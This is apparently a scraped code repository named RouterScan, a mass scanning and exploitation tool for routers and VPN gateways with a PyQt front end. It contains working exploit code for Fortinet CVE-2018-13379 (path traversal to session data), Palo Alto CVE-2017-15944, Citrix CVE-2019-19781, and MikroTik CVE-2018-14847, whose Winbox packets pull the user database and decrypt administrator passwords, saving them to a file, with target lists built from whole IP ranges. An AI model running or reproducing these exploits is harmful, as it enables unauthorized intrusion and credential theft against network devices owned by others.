'__main__': RouterScan()
{"/DesktopOld.py": ["/DesktopOldVersion/MainWindowRouterScan.py", "/DesktopOldVersion/DialogRCE.py", "/Utilization/format.py", "/Citrix/CVE_2019_19781/exploit.py", "/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/create_vpn.py", "/MikroTik/CVE_2018_14847/get_targets.py", "/PALO_ALTO/CVE_2017_15944/exploit.py", "/PALO_ALTO/CVE_2017_15944/rce.py"], "/Fortinet/CVE_2018_13379/exploit.py": ["/Utilization/format.py"], "/PALO_ALTO/CVE_2017_15944/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/socket_client.py": ["/MikroTik/CVE_2018_14847/decode.py"], "/MikroTik/CVE_2018_14847/exploit.py": ["/MikroTik/CVE_2018_14847/socket_client.py", "/MikroTik/CVE_2018_14847/get_targets.py"], "/Citrix/CVE_2019_19781/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/create_vpn.py": ["/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/get_targets.py"]}
70,133
TEmp6869/RouterScan
refs/heads/master
/DesktopOldVersion/MainWindowRouterScan.py
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'MainWindowRouterScan.ui' # # Created by: PyQt5 UI code generator 5.14.2 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_RouterScanMainWindow(object): def setupUi(self, RouterScanMainWindow): RouterScanMainWindow.setObjectName("RouterScanMainWindow") RouterScanMainWindow.resize(800, 600) self.centralwidget = QtWidgets.QWidget(RouterScanMainWindow) self.centralwidget.setObjectName("centralwidget") self.layoutWidget = QtWidgets.QWidget(self.centralwidget) self.layoutWidget.setGeometry(QtCore.QRect(40, 30, 731, 481)) self.layoutWidget.setObjectName("layoutWidget") self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.layoutWidget) self.verticalLayout_3.setContentsMargins(0, 0, 0, 0) self.verticalLayout_3.setObjectName("verticalLayout_3") self.verticalLayout = QtWidgets.QVBoxLayout() self.verticalLayout.setObjectName("verticalLayout") self.label = QtWidgets.QLabel(self.layoutWidget) self.label.setObjectName("label") self.verticalLayout.addWidget(self.label) self.textBrowserTarget = QtWidgets.QTextBrowser(self.layoutWidget) self.textBrowserTarget.setObjectName("textBrowserTarget") self.verticalLayout.addWidget(self.textBrowserTarget) self.verticalLayout_3.addLayout(self.verticalLayout) self.verticalLayout_2 = QtWidgets.QVBoxLayout() self.verticalLayout_2.setObjectName("verticalLayout_2") self.label_2 = QtWidgets.QLabel(self.layoutWidget) self.label_2.setObjectName("label_2") self.verticalLayout_2.addWidget(self.label_2) self.textBrowserOutput = QtWidgets.QTextBrowser(self.layoutWidget) self.textBrowserOutput.setObjectName("textBrowserOutput") self.verticalLayout_2.addWidget(self.textBrowserOutput) self.verticalLayout_3.addLayout(self.verticalLayout_2) RouterScanMainWindow.setCentralWidget(self.centralwidget) self.menubar = QtWidgets.QMenuBar(RouterScanMainWindow) self.menubar.setGeometry(QtCore.QRect(0, 0, 800, 27)) self.menubar.setObjectName("menubar") self.menuDevices = QtWidgets.QMenu(self.menubar) self.menuDevices.setObjectName("menuDevices") self.menuMikroTik = QtWidgets.QMenu(self.menuDevices) self.menuMikroTik.setObjectName("menuMikroTik") self.menuCVE_2018_14847 = QtWidgets.QMenu(self.menuMikroTik) self.menuCVE_2018_14847.setObjectName("menuCVE_2018_14847") self.menuUtilization = QtWidgets.QMenu(self.menuCVE_2018_14847) self.menuUtilization.setObjectName("menuUtilization") self.menuFortinet = QtWidgets.QMenu(self.menuDevices) self.menuFortinet.setObjectName("menuFortinet") self.menuCVE_2018_13379 = QtWidgets.QMenu(self.menuFortinet) self.menuCVE_2018_13379.setObjectName("menuCVE_2018_13379") self.menuCitrix = QtWidgets.QMenu(self.menuDevices) self.menuCitrix.setObjectName("menuCitrix") self.menuCVE_2019_19781 = QtWidgets.QMenu(self.menuCitrix) self.menuCVE_2019_19781.setObjectName("menuCVE_2019_19781") self.menuPALO_ALTO = QtWidgets.QMenu(self.menuDevices) self.menuPALO_ALTO.setObjectName("menuPALO_ALTO") self.menuCVE_2017_15944 = QtWidgets.QMenu(self.menuPALO_ALTO) self.menuCVE_2017_15944.setObjectName("menuCVE_2017_15944") self.menuJuniper_Pulse = QtWidgets.QMenu(self.menuDevices) self.menuJuniper_Pulse.setObjectName("menuJuniper_Pulse") self.menuCVE_2019_11510 = QtWidgets.QMenu(self.menuJuniper_Pulse) self.menuCVE_2019_11510.setObjectName("menuCVE_2019_11510") self.menuDocument = QtWidgets.QMenu(self.menubar) self.menuDocument.setObjectName("menuDocument") self.menuHelp = QtWidgets.QMenu(self.menubar) self.menuHelp.setObjectName("menuHelp") RouterScanMainWindow.setMenuBar(self.menubar) self.statusbar = QtWidgets.QStatusBar(RouterScanMainWindow) self.statusbar.setObjectName("statusbar") RouterScanMainWindow.setStatusBar(self.statusbar) self.actionHelp = QtWidgets.QAction(RouterScanMainWindow) self.actionHelp.setObjectName("actionHelp") self.actionContact = QtWidgets.QAction(RouterScanMainWindow) self.actionContact.setObjectName("actionContact") self.actionAPIs = QtWidgets.QAction(RouterScanMainWindow) self.actionAPIs.setObjectName("actionAPIs") self.actionDocument = QtWidgets.QAction(RouterScanMainWindow) self.actionDocument.setObjectName("actionDocument") self.actionUsage = QtWidgets.QAction(RouterScanMainWindow) self.actionUsage.setObjectName("actionUsage") self.actionExploitCVE_2018_14847 = QtWidgets.QAction(RouterScanMainWindow) self.actionExploitCVE_2018_14847.setObjectName("actionExploitCVE_2018_14847") self.actionExploitCVE_2018_13379 = QtWidgets.QAction(RouterScanMainWindow) self.actionExploitCVE_2018_13379.setObjectName("actionExploitCVE_2018_13379") self.actionVPNCVE_2018_14847 = QtWidgets.QAction(RouterScanMainWindow) self.actionVPNCVE_2018_14847.setObjectName("actionVPNCVE_2018_14847") self.actionExp = QtWidgets.QAction(RouterScanMainWindow) self.actionExp.setObjectName("actionExp") self.actionExploitCVE_2019_19781 = QtWidgets.QAction(RouterScanMainWindow) self.actionExploitCVE_2019_19781.setObjectName("actionExploitCVE_2019_19781") self.actionRCECVE_2019_19781 = QtWidgets.QAction(RouterScanMainWindow) self.actionRCECVE_2019_19781.setObjectName("actionRCECVE_2019_19781") self.actionExploitCVE_2017_15944 = QtWidgets.QAction(RouterScanMainWindow) self.actionExploitCVE_2017_15944.setObjectName("actionExploitCVE_2017_15944") self.actionRCECVE_2017_15944 = QtWidgets.QAction(RouterScanMainWindow) self.actionRCECVE_2017_15944.setObjectName("actionRCECVE_2017_15944") self.actionExploitCVE_2019_11510 = QtWidgets.QAction(RouterScanMainWindow) self.actionExploitCVE_2019_11510.setObjectName("actionExploitCVE_2019_11510") self.menuUtilization.addAction(self.actionVPNCVE_2018_14847) self.menuCVE_2018_14847.addAction(self.actionExploitCVE_2018_14847) self.menuCVE_2018_14847.addAction(self.menuUtilization.menuAction()) self.menuMikroTik.addAction(self.menuCVE_2018_14847.menuAction()) self.menuCVE_2018_13379.addAction(self.actionExploitCVE_2018_13379) self.menuFortinet.addAction(self.menuCVE_2018_13379.menuAction()) self.menuCVE_2019_19781.addAction(self.actionExploitCVE_2019_19781) self.menuCVE_2019_19781.addAction(self.actionRCECVE_2019_19781) self.menuCitrix.addAction(self.menuCVE_2019_19781.menuAction()) self.menuCVE_2017_15944.addAction(self.actionExploitCVE_2017_15944) self.menuCVE_2017_15944.addAction(self.actionRCECVE_2017_15944) self.menuPALO_ALTO.addAction(self.menuCVE_2017_15944.menuAction()) self.menuCVE_2019_11510.addAction(self.actionExploitCVE_2019_11510) self.menuJuniper_Pulse.addAction(self.menuCVE_2019_11510.menuAction()) self.menuDevices.addAction(self.menuMikroTik.menuAction()) self.menuDevices.addAction(self.menuFortinet.menuAction()) self.menuDevices.addAction(self.menuCitrix.menuAction()) self.menuDevices.addAction(self.menuPALO_ALTO.menuAction()) self.menuDevices.addAction(self.menuJuniper_Pulse.menuAction()) self.menuDocument.addAction(self.actionDocument) self.menuDocument.addAction(self.actionAPIs) self.menuDocument.addAction(self.actionUsage) self.menuHelp.addAction(self.actionHelp) self.menuHelp.addAction(self.actionContact) self.menubar.addAction(self.menuDevices.menuAction()) self.menubar.addAction(self.menuDocument.menuAction()) self.menubar.addAction(self.menuHelp.menuAction()) self.retranslateUi(RouterScanMainWindow) QtCore.QMetaObject.connectSlotsByName(RouterScanMainWindow) def retranslateUi(self, RouterScanMainWindow): _translate = QtCore.QCoreApplication.translate RouterScanMainWindow.setWindowTitle(_translate("RouterScanMainWindow", "Router Scanner")) self.label.setText(_translate("RouterScanMainWindow", " Target")) self.label_2.setText(_translate("RouterScanMainWindow", "Output")) self.menuDevices.setTitle(_translate("RouterScanMainWindow", "Devices")) self.menuMikroTik.setTitle(_translate("RouterScanMainWindow", "MikroTik")) self.menuCVE_2018_14847.setTitle(_translate("RouterScanMainWindow", "CVE_2018_14847")) self.menuUtilization.setTitle(_translate("RouterScanMainWindow", "Utilization")) self.menuFortinet.setTitle(_translate("RouterScanMainWindow", "Fortinet")) self.menuCVE_2018_13379.setTitle(_translate("RouterScanMainWindow", "CVE_2018_13379")) self.menuCitrix.setTitle(_translate("RouterScanMainWindow", "Citrix")) self.menuCVE_2019_19781.setTitle(_translate("RouterScanMainWindow", "CVE_2019_19781")) self.menuPALO_ALTO.setTitle(_translate("RouterScanMainWindow", "PALO ALTO")) self.menuCVE_2017_15944.setTitle(_translate("RouterScanMainWindow", "CVE_2017_15944")) self.menuJuniper_Pulse.setTitle(_translate("RouterScanMainWindow", "Juniper Pulse")) self.menuCVE_2019_11510.setTitle(_translate("RouterScanMainWindow", "CVE_2019_11510")) self.menuDocument.setTitle(_translate("RouterScanMainWindow", "Document")) self.menuHelp.setTitle(_translate("RouterScanMainWindow", "Help")) self.actionHelp.setText(_translate("RouterScanMainWindow", "Help")) self.actionContact.setText(_translate("RouterScanMainWindow", "Contact")) self.actionAPIs.setText(_translate("RouterScanMainWindow", "APIs")) self.actionDocument.setText(_translate("RouterScanMainWindow", "Document")) self.actionUsage.setText(_translate("RouterScanMainWindow", "Usage")) self.actionExploitCVE_2018_14847.setText(_translate("RouterScanMainWindow", "Exploit")) self.actionExploitCVE_2018_13379.setText(_translate("RouterScanMainWindow", "Exploit")) self.actionVPNCVE_2018_14847.setText(_translate("RouterScanMainWindow", "VPN")) self.actionExp.setText(_translate("RouterScanMainWindow", "Exploit")) self.actionExploitCVE_2019_19781.setText(_translate("RouterScanMainWindow", "Exploit")) self.actionRCECVE_2019_19781.setText(_translate("RouterScanMainWindow", "RCE")) self.actionExploitCVE_2017_15944.setText(_translate("RouterScanMainWindow", "Exploit")) self.actionRCECVE_2017_15944.setText(_translate("RouterScanMainWindow", "RCE")) self.actionExploitCVE_2019_11510.setText(_translate("RouterScanMainWindow", "Exploit"))
{"/DesktopOld.py": ["/DesktopOldVersion/MainWindowRouterScan.py", "/DesktopOldVersion/DialogRCE.py", "/Utilization/format.py", "/Citrix/CVE_2019_19781/exploit.py", "/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/create_vpn.py", "/MikroTik/CVE_2018_14847/get_targets.py", "/PALO_ALTO/CVE_2017_15944/exploit.py", "/PALO_ALTO/CVE_2017_15944/rce.py"], "/Fortinet/CVE_2018_13379/exploit.py": ["/Utilization/format.py"], "/PALO_ALTO/CVE_2017_15944/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/socket_client.py": ["/MikroTik/CVE_2018_14847/decode.py"], "/MikroTik/CVE_2018_14847/exploit.py": ["/MikroTik/CVE_2018_14847/socket_client.py", "/MikroTik/CVE_2018_14847/get_targets.py"], "/Citrix/CVE_2019_19781/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/create_vpn.py": ["/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/get_targets.py"]}
70,134
TEmp6869/RouterScan
refs/heads/master
/Bakup/Web/www/handlers.py
import time from Bakup.Web.www.coroweb import get from Bakup.Web.www.model import Device @get('/') def index(request): summary = 'test' summary_MikroTik = 'MikroTik RouterOS是一种路由操作系统,并通过该软件将标准的PC电脑变成专业路由器' devices = [ Device(id='1', name='MikroTik Router', summary=summary_MikroTik, created_at=time.time() - 120), Device(id='2', name='TP-Link Router', summary=summary, created_at=time.time() - 3600), Device(id='3', name='TP-Link Router', summary=summary, created_at=time.time() - 3600), ] return { '__template__': 'devices.html', 'blogs': devices }
{"/DesktopOld.py": ["/DesktopOldVersion/MainWindowRouterScan.py", "/DesktopOldVersion/DialogRCE.py", "/Utilization/format.py", "/Citrix/CVE_2019_19781/exploit.py", "/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/create_vpn.py", "/MikroTik/CVE_2018_14847/get_targets.py", "/PALO_ALTO/CVE_2017_15944/exploit.py", "/PALO_ALTO/CVE_2017_15944/rce.py"], "/Fortinet/CVE_2018_13379/exploit.py": ["/Utilization/format.py"], "/PALO_ALTO/CVE_2017_15944/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/socket_client.py": ["/MikroTik/CVE_2018_14847/decode.py"], "/MikroTik/CVE_2018_14847/exploit.py": ["/MikroTik/CVE_2018_14847/socket_client.py", "/MikroTik/CVE_2018_14847/get_targets.py"], "/Citrix/CVE_2019_19781/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/create_vpn.py": ["/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/get_targets.py"]}
70,135
TEmp6869/RouterScan
refs/heads/master
/Fortinet/CVE_2018_13379/exploit.py
import time import requests from Utilization.format import Format def CheckIP(ip): try: url = "https://" + ip + "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" headers = {"User-Agent": "Mozilla/5.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"} r = requests.get(url, headers=headers, verify=False, stream=True, timeout=2) img = r.raw.read() if "var fgt_lang =" in str(img): ret = ''.join(set(str(img).split("x00"))) time.sleep(2) return ret else: time.sleep(2) return "No Vulnerability" except: time.sleep(2) return "Timeout" def Exploit(target): result=[] for item in target: ip=item[0]+':'+str(item[1]) ret=CheckIP(ip) result.append([ip,ret]) return result if __name__ == '__main__': test = Format() print(Exploit(test.format_ip('192.168.1.1/30'))) # print(Exploit(test.format_file('ip.txt')))
{"/DesktopOld.py": ["/DesktopOldVersion/MainWindowRouterScan.py", "/DesktopOldVersion/DialogRCE.py", "/Utilization/format.py", "/Citrix/CVE_2019_19781/exploit.py", "/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/create_vpn.py", "/MikroTik/CVE_2018_14847/get_targets.py", "/PALO_ALTO/CVE_2017_15944/exploit.py", "/PALO_ALTO/CVE_2017_15944/rce.py"], "/Fortinet/CVE_2018_13379/exploit.py": ["/Utilization/format.py"], "/PALO_ALTO/CVE_2017_15944/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/socket_client.py": ["/MikroTik/CVE_2018_14847/decode.py"], "/MikroTik/CVE_2018_14847/exploit.py": ["/MikroTik/CVE_2018_14847/socket_client.py", "/MikroTik/CVE_2018_14847/get_targets.py"], "/Citrix/CVE_2019_19781/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/create_vpn.py": ["/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/get_targets.py"]}
70,136
TEmp6869/RouterScan
refs/heads/master
/PALO_ALTO/CVE_2017_15944/exploit.py
import time from Utilization.format import Format import requests from threading import Thread, Lock lock = Lock() class MyThread(Thread): def __init__(self, threadID, ip, port): Thread.__init__(self) self.threadID = threadID self.ip = ip self.port = port def run(self): print("New ThreadID: ", self.threadID, " ip: ", self.ip) ret = scanner(self.ip, self.port) lock.acquire() if ret: success.append(ret) with open('result3.txt', 'a') as f: f.write('ip: ' + str(self.ip) + ' port: ' + str(self.port) + ' bypass success\r\n') lock.release() def scanner(ip, port): url1 = 'https://{}:{}/php/utils/debug.php'.format(ip, port) try: r = requests.get(url1, verify=False, stream=True, timeout=2) img = r.raw.read() if 'Debug Console' in str(img): print('{}:{} bypass success'.format(ip, port)) time.sleep(2) return [ip, port] else: print('{}:{} bypass failed'.format(ip, port)) time.sleep(2) return [] except Exception as err: print('err\r', err) time.sleep(2) return [] def run(targetlist): global success success = [] for i in range(0, len(targetlist), 5): pool = [] tmp = targetlist[i:i + 5] for j in range(0, len(tmp)): ip = tmp[j][0] port = tmp[j][1] thread = MyThread(j, ip, port) thread.start() pool.append(thread) for single_thread in pool: single_thread.join() ret = success return ret if __name__ == '__main__': t = Format() t.port = 4443 t.ImportFile('test.txt') tlist = t.GetValue() del t ret = run(tlist) print(ret)
{"/DesktopOld.py": ["/DesktopOldVersion/MainWindowRouterScan.py", "/DesktopOldVersion/DialogRCE.py", "/Utilization/format.py", "/Citrix/CVE_2019_19781/exploit.py", "/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/create_vpn.py", "/MikroTik/CVE_2018_14847/get_targets.py", "/PALO_ALTO/CVE_2017_15944/exploit.py", "/PALO_ALTO/CVE_2017_15944/rce.py"], "/Fortinet/CVE_2018_13379/exploit.py": ["/Utilization/format.py"], "/PALO_ALTO/CVE_2017_15944/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/socket_client.py": ["/MikroTik/CVE_2018_14847/decode.py"], "/MikroTik/CVE_2018_14847/exploit.py": ["/MikroTik/CVE_2018_14847/socket_client.py", "/MikroTik/CVE_2018_14847/get_targets.py"], "/Citrix/CVE_2019_19781/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/create_vpn.py": ["/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/get_targets.py"]}
70,137
TEmp6869/RouterScan
refs/heads/master
/MikroTik/CVE_2018_14847/socket_client.py
import socket from MikroTik.CVE_2018_14847.decode import getresult def send_socket(ip, port): hello = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00, 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07, 0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21, 0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66, 0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00] getData = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00, 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01, 0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08, 0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09, 0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00] try: # Socket socket_client = socket.socket() socket_client.settimeout(1) socket_client.connect((ip, port)) hello = bytearray(hello) getData = bytearray(getData) # get session id socket_client.send(hello) result = bytearray(socket_client.recv(1024)) # copy session id getData[19] = result[38] # Send Request socket_client.send(getData) result = bytearray(socket_client.recv(1024)) # Get results # print(ip, ' ', end='') user_info = getresult(result[55:]) result_list = user_info return result_list except socket.timeout: # print(ip, ": Connection Timeout") return [] except ConnectionRefusedError: # print(ip, ": Connection Refused") return [] except ConnectionResetError: # print(ip, ": Connection Reset") return [] except IndexError: # print(ip, ": Index Error") return [] except socket.error: # print(ip, ": Socket Error") return []
{"/DesktopOld.py": ["/DesktopOldVersion/MainWindowRouterScan.py", "/DesktopOldVersion/DialogRCE.py", "/Utilization/format.py", "/Citrix/CVE_2019_19781/exploit.py", "/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/create_vpn.py", "/MikroTik/CVE_2018_14847/get_targets.py", "/PALO_ALTO/CVE_2017_15944/exploit.py", "/PALO_ALTO/CVE_2017_15944/rce.py"], "/Fortinet/CVE_2018_13379/exploit.py": ["/Utilization/format.py"], "/PALO_ALTO/CVE_2017_15944/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/socket_client.py": ["/MikroTik/CVE_2018_14847/decode.py"], "/MikroTik/CVE_2018_14847/exploit.py": ["/MikroTik/CVE_2018_14847/socket_client.py", "/MikroTik/CVE_2018_14847/get_targets.py"], "/Citrix/CVE_2019_19781/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/create_vpn.py": ["/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/get_targets.py"]}
70,138
TEmp6869/RouterScan
refs/heads/master
/MikroTik/CVE_2018_14847/exploit.py
from MikroTik.CVE_2018_14847.socket_client import send_socket from MikroTik.CVE_2018_14847.get_targets import format_file, format_single_ip # targets [[ip,port],[ip,port],...,[ip,port]] # return [ ['192.168.161.222', 8291, [('admin', ''), ('admin', ''), ('admin', '1234')]] , ['192.168.161.222', 8291, [('admin', ''), ('admin', ''), ('admin', '1234')]] , ... , ['192.168.161.222', 8291, [('admin', ''), ('admin', ''), ('admin', '1234')]]] def exploit(targets): exp_result_list = [] for target in targets: ip = target[0] port = target[1] result = send_socket(ip, port) if result: target_info = [ip, port, result] print('write into target.txt') with open('target.txt', 'a')as f: f.write(str(target_info) + '\r\n') print('create target success') exp_result_list.append(target_info) else: continue return exp_result_list def run(): # targets = format_single_ip('192.168.161.222:8291') targets=format_file('result.txt') print(exploit(targets)) if __name__ == '__main__': run()
{"/DesktopOld.py": ["/DesktopOldVersion/MainWindowRouterScan.py", "/DesktopOldVersion/DialogRCE.py", "/Utilization/format.py", "/Citrix/CVE_2019_19781/exploit.py", "/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/create_vpn.py", "/MikroTik/CVE_2018_14847/get_targets.py", "/PALO_ALTO/CVE_2017_15944/exploit.py", "/PALO_ALTO/CVE_2017_15944/rce.py"], "/Fortinet/CVE_2018_13379/exploit.py": ["/Utilization/format.py"], "/PALO_ALTO/CVE_2017_15944/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/socket_client.py": ["/MikroTik/CVE_2018_14847/decode.py"], "/MikroTik/CVE_2018_14847/exploit.py": ["/MikroTik/CVE_2018_14847/socket_client.py", "/MikroTik/CVE_2018_14847/get_targets.py"], "/Citrix/CVE_2019_19781/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/create_vpn.py": ["/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/get_targets.py"]}
70,139
TEmp6869/RouterScan
refs/heads/master
/MikroTik/CVE_2018_14847/decode.py
import hashlib def decrypt_password(user, pass_encode): key = hashlib.md5(user + b"283i4jfkai3389").digest() password = "" for i in range(0, len(pass_encode)): password += chr(pass_encode[i] ^ key[i % len(key)]) return password.split("\x00")[0] def extract_user_pass_from_entry(entry): user_data = entry.split(b"\x01\x00\x00\x21")[1] pass_data = entry.split(b"\x11\x00\x00\x21")[1] user_len = user_data[0] pass_len = pass_data[0] username = user_data[1:1 + user_len] password = pass_data[1:1 + pass_len] return username, password def get_pair(data): user_list = [] entries = data.split(b"M2")[1:] for entry in entries: try: user, pass_encrypted = extract_user_pass_from_entry(entry) pass_plain = decrypt_password(user, pass_encrypted) user = user.decode("ascii") except UnicodeDecodeError: user = "cannot decode" pass_plain = "cannot decode" except: continue user_list.append((user, pass_plain)) return user_list def getresult(data): user_pass = get_pair(data) # print(user_pass) if len(user_pass): return user_pass else: # print(': Unknown SessionId') return []
{"/DesktopOld.py": ["/DesktopOldVersion/MainWindowRouterScan.py", "/DesktopOldVersion/DialogRCE.py", "/Utilization/format.py", "/Citrix/CVE_2019_19781/exploit.py", "/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/create_vpn.py", "/MikroTik/CVE_2018_14847/get_targets.py", "/PALO_ALTO/CVE_2017_15944/exploit.py", "/PALO_ALTO/CVE_2017_15944/rce.py"], "/Fortinet/CVE_2018_13379/exploit.py": ["/Utilization/format.py"], "/PALO_ALTO/CVE_2017_15944/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/socket_client.py": ["/MikroTik/CVE_2018_14847/decode.py"], "/MikroTik/CVE_2018_14847/exploit.py": ["/MikroTik/CVE_2018_14847/socket_client.py", "/MikroTik/CVE_2018_14847/get_targets.py"], "/Citrix/CVE_2019_19781/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/create_vpn.py": ["/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/get_targets.py"]}
70,140
TEmp6869/RouterScan
refs/heads/master
/Citrix/CVE_2019_19781/exploit.py
import requests def Submit(url): with requests.Session() as s: r = requests.Request(method='GET', url=url) prep = r.prepare() prep.url = url return s.send(prep, verify=False, timeout=2) def Scan(ip, port): try: print("Scanning for CVE-2019-19781 on: %s " % ip, end="\r") # Cleaning up output a little if port == "80": url = ("http://%s:%s/vpn/js/%%2e./.%%2e/%%76pns/cfg/smb.conf" % (ip, port)) req = Submit(url) else: url = ("https://%s:%s/vpn/js/%%2e./.%%2e/%%76pns/cfg/smb.conf" % (ip, port)) req = Submit(url) if "[global]" in str(req.content) and "encrypt passwords" in str(req.content) and ( "name resolve order") in str(req.content): print("Server: %s is still vulnerable to CVE-2019-19781." % ip) return ip elif "Citrix" in str(req.content) or "403" in str(req.status_code): print("Server: %s is not vulnerable." % ip) return except requests.ReadTimeout: return except requests.ConnectTimeout: return except requests.ConnectionError: return def Exploit(target_list): server = [] for target in target_list: ip = target[0] port = target[1] ret = Scan(ip, port) if ret: server.append("{} is vulnerable to CVE-2019-19781.".format(ret)) # else: # server.append('{} is not vulnerable'.format(ip)) return server if __name__ == '__main__': from Utilization.format import Format test = Format() test.ImportFile('test.txt') Exploit(test.GetValue()) del test
{"/DesktopOld.py": ["/DesktopOldVersion/MainWindowRouterScan.py", "/DesktopOldVersion/DialogRCE.py", "/Utilization/format.py", "/Citrix/CVE_2019_19781/exploit.py", "/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/create_vpn.py", "/MikroTik/CVE_2018_14847/get_targets.py", "/PALO_ALTO/CVE_2017_15944/exploit.py", "/PALO_ALTO/CVE_2017_15944/rce.py"], "/Fortinet/CVE_2018_13379/exploit.py": ["/Utilization/format.py"], "/PALO_ALTO/CVE_2017_15944/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/socket_client.py": ["/MikroTik/CVE_2018_14847/decode.py"], "/MikroTik/CVE_2018_14847/exploit.py": ["/MikroTik/CVE_2018_14847/socket_client.py", "/MikroTik/CVE_2018_14847/get_targets.py"], "/Citrix/CVE_2019_19781/exploit.py": ["/Utilization/format.py"], "/MikroTik/CVE_2018_14847/create_vpn.py": ["/MikroTik/CVE_2018_14847/exploit.py", "/MikroTik/CVE_2018_14847/get_targets.py"]}
70,141
TEmp6869/RouterScan
refs/heads/master
/MikroTik/CVE_2018_14847/get_targets.py
import ipcalc def format_single_ip(target): target_info = [] target_check_list = target.split('/') if len(target_check_list)==1: target_info_list = target.split(':') if len(target_info_list) == 1: ip = [target_info_list[0], 8291] target_info.append(ip) elif len(target_info_list) == 2: ip = [target_info_list[0], int(target_info_list[1])] target_info.append(ip) else: item = ipcalc.Network(target) for i in item: ip=[str(i),8291] target_info.append(ip) return target_info def format_file(filename): target_info = [] for line in open(filename, 'r'): target_check_list=line.strip().split('/') if len(target_check_list)==1: target_info_list = line.strip().split(':') if len(target_info_list) == 1: ip = [target_info_list[0], 8291] target_info.append(ip) elif len(target_info_list) == 2: ip = [target_info_list[0], int(target_info_list[1])] target_info.append(ip) else: item=ipcalc.Network(line.strip()) for i in item: ip=[str(i),8291] target_info.append(ip) return target_info if __name__ == '__main__': print(format_file('result.txt')) print(format_single_ip('192.168.161.222')) print(format_single_ip('192.168.11.11/20'))
